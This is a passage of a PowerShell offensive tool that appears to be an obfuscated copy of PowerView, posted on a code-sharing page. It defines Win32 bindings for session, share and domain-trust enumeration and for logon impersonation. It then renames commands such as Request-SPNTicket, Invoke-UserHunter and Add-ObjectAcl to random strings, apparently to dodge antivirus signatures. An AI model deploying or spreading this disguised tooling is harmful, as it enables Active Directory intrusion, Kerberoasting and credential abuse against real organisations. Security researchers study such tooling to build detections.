lgrmi2_sid = field 0 IntPtr | |
lgrmi2_sidusage = field 1 $SID_NAME_USE | |
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr') | |
} | |
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{ | |
IN_FOREST = 1 | |
DIRECT_OUTBOUND = 2 | |
TREE_ROOT = 4 | |
PRIMARY = 8 | |
NATIVE_MODE = 16 | |
DIRECT_INBOUND = 32 | |
} -Bitfield | |
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{ | |
DOWNLEVEL = 1 | |
UPLEVEL = 2 | |
MIT = 3 | |
DCE = 4 | |
} | |
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{ | |
NON_TRANSITIVE = 1 | |
UPLEVEL_ONLY = 2 | |
FILTER_SIDS = 4 | |
FOREST_TRANSITIVE = 8 | |
CROSS_ORGANIZATION = 16 | |
WITHIN_FOREST = 32 | |
TREAT_AS_EXTERNAL = 64 | |
} | |
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ | |
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr') | |
DnsDomainName = field 1 String -MarshalAs @('LPWStr') | |
Flags = field 2 $DsDomainFlag | |
ParentIndex = field 3 UInt32 | |
TrustType = field 4 $DsDomainTrustType | |
TrustAttributes = field 5 $DsDomainTrustAttributes | |
DomainSid = field 6 IntPtr | |
DomainGuid = field 7 Guid | |
} | |
$NETRESOURCEW = struct $Mod NETRESOURCEW @{ | |
dwScope = field 0 UInt32 | |
dwType = field 1 UInt32 | |
dwDisplayType = field 2 UInt32 | |
dwUsage = field 3 UInt32 | |
lpLocalName = field 4 String -MarshalAs @('LPWStr') | |
lpRemoteName = field 5 String -MarshalAs @('LPWStr') | |
lpComment = field 6 String -MarshalAs @('LPWStr') | |
lpProvider = field 7 String -MarshalAs @('LPWStr') | |
} | |
$FunctionDefinitions = @( | |
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), | |
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), | |
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), | |
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), | |
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), | |
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), | |
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), | |
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), | |
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), | |
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), | |
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), | |
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), | |
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), | |
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError), | |
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), | |
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), | |
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), | |
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), | |
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), | |
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), | |
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), | |
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), | |
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) | |
) | |
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' | |
$Netapi32 = $Types['netapi32'] | |
$Advapi32 = $Types['advapi32'] | |
$Wtsapi32 = $Types['wtsapi32'] | |
$Mpr = $Types['Mpr'] | |
$Kernel32 = $Types['kernel32'] | |
Set-Alias Get-IPAddress Resolve-IPAddress | |
Set-Alias Convert-NameToSid ConvertTo-SID | |
Set-Alias Convert-SidToName ConvertFrom-SID | |
Set-Alias Request-SPNTicket KL5JKXPU | |
Set-Alias Get-DNSZone BR6XSZYK | |
Set-Alias Get-DNSRecord 0IZZ6UBG | |
Set-Alias Get-NetDomain Get-Domain | |
Set-Alias Get-NetDomainController V0UZY4PL | |
Set-Alias Get-NetForest Get-Forest | |
Set-Alias Get-NetForestDomain 8ZZD0O16 | |
Set-Alias Get-NetForestCatalog 6R549KED | |
Set-Alias Get-NetUser C52BTCXM | |
Set-Alias Get-UserEvent C52BTCXMEvent | |
Set-Alias Get-NetComputer 7M60VMOB | |
Set-Alias Get-ADObject H86VA398 | |
Set-Alias Set-ADObject NC48X0KG | |
Set-Alias Get-ObjectAcl H86VA398Acl | |
Set-Alias Add-ObjectAcl 0B2BG4XQ | |
Set-Alias Invoke-ACLScanner MBXG42K5 | |
Set-Alias Get-GUIDMap 9MLE7JJS | |
Set-Alias Get-NetOU 5LD7ZSFI | |
Set-Alias Get-NetSite 4WHR88R3 | |
Set-Alias Get-NetSubnet I7K9VCSI | |
Set-Alias Get-NetGroup MPOE9M0D | |
Set-Alias Find-ManagedSecurityGroups AQR0XY5B | |
Set-Alias Get-NetGroupMember MPOE9M0DMember | |
Set-Alias Get-NetFileServer QTABR6IP | |
Set-Alias Get-DFSshare 7K9PYEUT | |
Set-Alias Get-NetGPO D8RPVYWG | |
Set-Alias Get-NetGPOGroup D8RPVYWGLocalGroup | |
Set-Alias Find-GPOLocation D8RPVYWGUserLocalGroupMapping | |
Set-Alias Find-GPOComputerAdmin D8RPVYWGComputerLocalGroupMapping | |
Set-Alias Get-LoggedOnLocal G33P5TU0 | |
Set-Alias Invoke-CheckLocalAdminAccess DTR4S3F8 | |
Set-Alias Get-SiteName THXCYPQU | |
Set-Alias Get-Proxy Get-WMIRegProxy | |
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn | |
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection | |
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive | |
Set-Alias Get-NetProcess Get-WMIProcess | |
Set-Alias Invoke-ThreadedFunction BAUXSI0N | |
Set-Alias Invoke-UserHunter ZMP1P4RM | |
Set-Alias Invoke-ProcessHunter F7PUOXBJ | |
Set-Alias Invoke-EventHunter 1KMCMR2E | |
Set-Alias Invoke-ShareFinder HUJD9ZTI | |
Set-Alias Invoke-FileFinder VGA9NDSP | |
Set-Alias Invoke-EnumerateLocalAdmin CRMBFNUQ | |
Set-Alias Get-NetDomainTrust 43KFK7FR | |
Set-Alias Get-NetForestTrust MRNQ9GIU | |
Set-Alias Find-ForeignUser 97TR51SH | |
Set-Alias Find-ForeignGroup 7O7B3SPI | |
Set-Alias Invoke-MapDomainTrust 43KFK7FRMapping | |
Set-Alias Get-DomainPolicy VMIK0TZ8 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment